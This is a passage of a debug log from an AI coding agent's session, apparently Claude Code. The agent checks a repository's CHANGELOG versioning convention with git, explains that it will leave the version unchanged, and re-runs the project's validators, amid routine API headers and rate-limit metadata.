null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:29.288Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_read_input_tokens\": 79099,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:29.288Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:29.288Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T08:00:29.288Z] [INFO]       },\n[2026-09-29T08:00:29.288Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:29.288Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:29.288Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:29.288Z] [INFO]     },\n[2026-09-29T08:00:29.288Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:29.288Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:29.288Z] [INFO]   },\n[2026-09-29T08:00:29.288Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:29.288Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"uuid\": \"b4c43d57-ea68-4d0c-a60a-b963352cf777\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:29.246Z\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"request_id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:29.288Z] [INFO]     \"toolu_01PEpXsmS7stnAmrANBhE5xy\": {\n[2026-09-29T08:00:29.288Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git log -3 --format='%h %s' -p origin/main -- CHANGELOG.md | grep -E '^[+-](version|updated)|^[0-9a-f]{7} '; git log -1 --format=%h -S'version: 2.11' -- CHANGELOG.md\",\n[2026-09-29T08:00:29.288Z] [INFO]       \"description\": \"Check CHANGELOG version bump convention\"\n[2026-09-29T08:00:29.288Z] [INFO]     }\n[2026-09-29T08:00:29.288Z] [INFO]   }\n[2026-09-29T08:00:29.288Z] [INFO] }\n[2026-09-29T08:00:32.580Z] [INFO] {\n[2026-09-29T08:00:32.580Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"task_id\": \"bnig0ilt7\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"description\": \"Check CHANGELOG version bump convention\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:00:32.580Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"uuid\": \"fab2d4e9-cdf8-4d5e-814e-ecd7db06fe02\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:32.580Z] [INFO] }\n[2026-09-29T08:00:33.408Z] [INFO] {\n[2026-09-29T08:00:33.408Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"task_id\": \"bnig0ilt7\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"summary\": \"Check CHANGELOG version bump convention\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"uuid\": \"bd4c638f-9b99-4265-9006-843d9b11fb1f\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:33.408Z] [INFO] }\n[2026-09-29T08:00:33.481Z] [INFO] {\n[2026-09-29T08:00:33.481Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"message\": {\n[2026-09-29T08:00:33.481Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"content\": [\n[2026-09-29T08:00:33.481Z] [INFO]       {\n[2026-09-29T08:00:33.481Z] [INFO]         \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"content\": \"eda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\nd40aeac\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:33.481Z] [INFO]       }\n[2026-09-29T08:00:33.481Z] [INFO]     ]\n[2026-09-29T08:00:33.481Z] [INFO]   },\n[2026-09-29T08:00:33.481Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:33.481Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"uuid\": \"020724a3-7de2-4b63-919d-90de60d6f713\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:33.465Z\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:33.481Z] [INFO]     \"stdout\": \"eda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\nd40aeac\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:33.481Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:33.481Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:00:33.481Z] [INFO]   }\n[2026-09-29T08:00:33.481Z] [INFO] }\n[2026-09-29T08:00:33.538Z] [STDOUT] [log_df2fb8] sending request {\n[2026-09-29T08:00:33.541Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:00:33.558Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:33.580Z] [STDOUT]   options: {\n[2026-09-29T08:00:33.591Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:00:33.604Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:00:33.620Z] [STDOUT]     body: {\n[2026-09-29T08:00:33.628Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:33.646Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:33.662Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:33.671Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:33.679Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:33.686Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:33.692Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:33.699Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:33.705Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:33.711Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:33.716Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:33.722Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:33.779Z] [STDOUT]     },\n[2026-09-29T08:00:33.791Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:33.800Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:33.809Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:33.816Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:33.822Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:33.834Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:33.842Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:33.848Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:33.854Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:33.857Z] [STDOUT]     },\n[2026-09-29T08:00:33.862Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:33.870Z] [STDOUT]   },\n[2026-09-29T08:00:33.894Z] [STDOUT]   headers: {\n[2026-09-29T08:00:33.896Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:33.899Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:33.905Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:33.908Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:33.913Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:33.917Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:33.924Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:33.927Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:00:33.932Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:00:33.934Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3939\",\n[2026-09-29T08:00:33.939Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:00:33.945Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:00:33.953Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:33.960Z] [STDOUT]     \"x-client-request-id\": \"b5909bb3-1511-445b-b1e3-1dc7e64042f9\",\n[2026-09-29T08:00:33.966Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:00:33.970Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:00:33.976Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:00:33.980Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:00:33.984Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:33.989Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:33.992Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:33.997Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:33.999Z] [STDOUT]   },\n[2026-09-29T08:00:34.005Z] [STDOUT] }\n[2026-09-29T08:00:34.391Z] [STDOUT] [log_df2fb8, request-id: \"req_011CfXNukHsdsUKC5JQavDaK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 857ms\n[2026-09-29T08:00:34.398Z] [STDOUT] [log_df2fb8] response start {\n[2026-09-29T08:00:34.400Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:34.404Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:34.406Z] [STDOUT]   headers: {\n[2026-09-29T08:00:34.412Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:34.416Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:34.418Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:34.422Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:34.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:34.427Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.432Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:34.435Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:34.437Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:34.439Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:34.442Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:34.446Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:34.450Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:34.453Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.456Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:34.458Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:34.462Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:34.465Z] [STDOUT]     \"cf-ray\": \"a4297471985c5d90-FRA\",\n[2026-09-29T08:00:34.468Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:34.470Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:34.475Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:34.477Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:34.484Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:34 GMT\",\n[2026-09-29T08:00:34.487Z] [STDOUT]     \"request-id\": \"req_011CfXNukHsdsUKC5JQavDaK\",\n[2026-09-29T08:00:34.491Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:34.493Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:34.496Z] [STDOUT]     traceresponse: \"00-deb4e7a78492cf93f6760bfa1db1653f-a442784439b2f3dd-01\",\n[2026-09-29T08:00:34.500Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:34.502Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:34.524Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:34.530Z] [STDOUT]   },\n[2026-09-29T08:00:34.534Z] [STDOUT]   durationMs: 857,\n[2026-09-29T08:00:34.540Z] [STDOUT] }\n[2026-09-29T08:00:34.544Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:34.549Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:34 GMT\",\n[2026-09-29T08:00:34.551Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:34.555Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:34.559Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:34.564Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:34.567Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:34.570Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:34.573Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:34.577Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:34.583Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:34.594Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:34.600Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:34.606Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:34.613Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:34.624Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:34.642Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:34.645Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.650Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:34.653Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:34.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:34.674Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:34.686Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.693Z] [STDOUT]   \"request-id\": \"req_011CfXNukHsdsUKC5JQavDaK\",\n[2026-09-29T08:00:34.704Z] [STDOUT]   \"traceresponse\": \"00-deb4e7a78492cf93f6760bfa1db1653f-a442784439b2f3dd-01\",\n[2026-09-29T08:00:34.710Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:34.721Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:34.739Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:34.751Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:34.758Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:34.762Z] [STDOUT]   \"cf-ray\": \"a4297471985c5d90-FRA\",\n[2026-09-29T08:00:34.769Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:34.776Z] [STDOUT] [log_df2fb8] response parsed {\n[2026-09-29T08:00:34.781Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:34.788Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:34.801Z] [STDOUT]   body: X {\n[2026-09-29T08:00:34.807Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:34.824Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:34.841Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:34.850Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:34.872Z] [STDOUT]     },\n[2026-09-29T08:00:34.876Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:34.883Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:34.886Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:34.888Z] [STDOUT]   },\n[2026-09-29T08:00:34.891Z] [STDOUT]   durationMs: 857,\n[2026-09-29T08:00:34.894Z] [STDOUT] }\n[2026-09-29T08:00:35.285Z] [INFO] {\n[2026-09-29T08:00:35.285Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:35.285Z] [INFO]   \"message\": {\n[2026-09-29T08:00:35.285Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"id\": \"msg_011CfXNukjAdztjqc7HDNobE\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:35.285Z] [INFO]     \"content\": [\n[2026-09-29T08:00:35.285Z] [INFO]       {\n[2026-09-29T08:00:35.285Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:35.285Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:00:35.285Z] [INFO]         \"signature\": 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}\n[2026-09-29T08:00:35.285Z] [INFO]     ],\n[2026-09-29T08:00:35.285Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:35.285Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:35.285Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:35.285Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:35.285Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:35.285Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:35.285Z] [INFO]       },\n[2026-09-29T08:00:35.285Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:35.285Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:35.285Z] [INFO]      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\"claude-opus-5-5\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"id\": \"msg_011CfXNukjAdztjqc7HDNobE\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:35.297Z] [INFO]     \"content\": [\n[2026-09-29T08:00:35.297Z] [INFO]       {\n[2026-09-29T08:00:35.297Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:00:35.297Z] [INFO]         \"text\": \"Recent entries don't bump the CHANGELOG version, so I'll leave it. Re-running the validators, then committing:\"\n[2026-09-29T08:00:35.297Z] [INFO]       }\n[2026-09-29T08:00:35.297Z] [INFO]     ],\n[2026-09-29T08:00:35.297Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:35.297Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:35.297Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:35.297Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:35.297Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:35.297Z] [INFO]       },\n[2026-09-29T08:00:35.297Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:35.297Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:35.297Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:35.297Z] [INFO]     },\n[2026-09-29T08:00:35.297Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:35.297Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:35.297Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:35.297Z] [INFO]   },\n[2026-09-29T08:00:35.297Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:35.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"uuid\": \"6bb91cd9-b642-4d28-a771-43e364b0db50\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:35.282Z\",\n[2026-09-29T08:00:35.297Z] [INFO]   \"request_id\": \"req_011CfXNukHsdsUKC5JQavDaK\"\n[2026-09-29T08:00:35.297Z] [INFO] }\n[2026-09-29T08:00:36.985Z] [INFO] {\n[2026-09-29T08:00:36.985Z] [INFO]   \"type\": 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tools/generate-manifest.py --check\\\" \\\"bash tools/test-validate-rrp-links.sh\\\"; do $v >/tmp/v.log 2>&1 && echo \\\"PASS $v\\\" || { echo \\\"FAIL $v\\\"; tail -8 /tmp/v.log; }; done; cat /tmp/tep.log | tail -4\",\n[2026-09-29T08:00:36.985Z] [INFO]           \"description\": \"Re-run validators after edits\"\n[2026-09-29T08:00:36.985Z] [INFO]         },\n[2026-09-29T08:00:36.985Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:36.985Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:36.985Z] [INFO]         }\n[2026-09-29T08:00:36.985Z] [INFO]       }\n[2026-09-29T08:00:36.985Z] [INFO]     ],\n[2026-09-29T08:00:36.985Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:36.985Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_creation_input_tokens\": 415,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_read_input_tokens\": 80234,\n[2026-09-29T08:00:36.985Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:36.985Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:36.985Z] [INFO]         \"ephemeral_1h_input_tokens\": 415\n[2026-09-29T08:00:36.985Z] [INFO]       },\n[2026-09-29T08:00:36.985Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T08:00:36.985Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:36.985Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:36.985Z] [INFO]     },\n[2026-09-29T08:00:36.985Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:36.985Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:36.985Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:36.985Z] [INFO]   },\n[2026-09-29T08:00:36.985Z] [INFO]   \"parent_tool_use_id\": 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}\n[2026-09-29T08:01:07.044Z] [INFO] {\n[2026-09-29T08:01:07.044Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B-heartbeat-0\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"elapsed_time_seconds\": 30,\n[2026-09-29T08:01:07.044Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:01:07.044Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:01:07.044Z] [INFO]   \"uuid\": \"6f177b27-cede-4bae-b5aa-d58916e0a327\"\n[2026-09-29T08:01:07.044Z] [INFO] }\n[2026-09-29T08:01:37.013Z] [INFO] {\n[2026-09-29T08:01:37.013Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B-heartbeat-1\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"parent_tool_use_id\": 